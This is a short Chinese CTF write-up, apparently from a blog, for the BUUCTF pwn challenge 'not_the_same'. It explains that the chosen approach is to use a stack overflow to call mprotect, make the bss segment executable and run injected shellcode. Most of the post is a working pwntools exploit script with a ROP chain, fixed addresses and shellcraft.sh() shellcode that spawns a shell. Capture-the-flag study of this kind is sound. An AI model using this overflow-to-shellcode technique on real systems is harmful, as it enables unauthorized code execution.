BUUCTF not_the_same

开始以为是简单的栈溢出发现可以调用的函数很少
在这里插入图片描述
而且开启了nx,leak不了libc。这里需要将bss段设置成可读可写可执行,然后跳到bss段执行shellcode
我这里参数中有地址最好使用gadget
exp:

from pwn import *
def debug():
	gdb.attach(p)

p=process('./notsame')
#p=remote('node2.buuoj.cn.wetolink.com',28879)
elf=ELF('./notsame')

#debug()
payload='a'*0x2d+p32(elf.symbols['mprotect'])+p32(0x0809e3e5)+p32(0x080EB000)+p32(0x1000)+p32(0x7)+p32(elf.symbols['read'])+p32(0x0809e3e5)+p32(0)+p32(0x080EBF80)+p32(0x100)+p32(0x080EBF80)
p.sendline(payload)
sleep(0.2)
payload=asm(shellcraft.sh())
#debug()
#pause()
p.sendline(payload)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值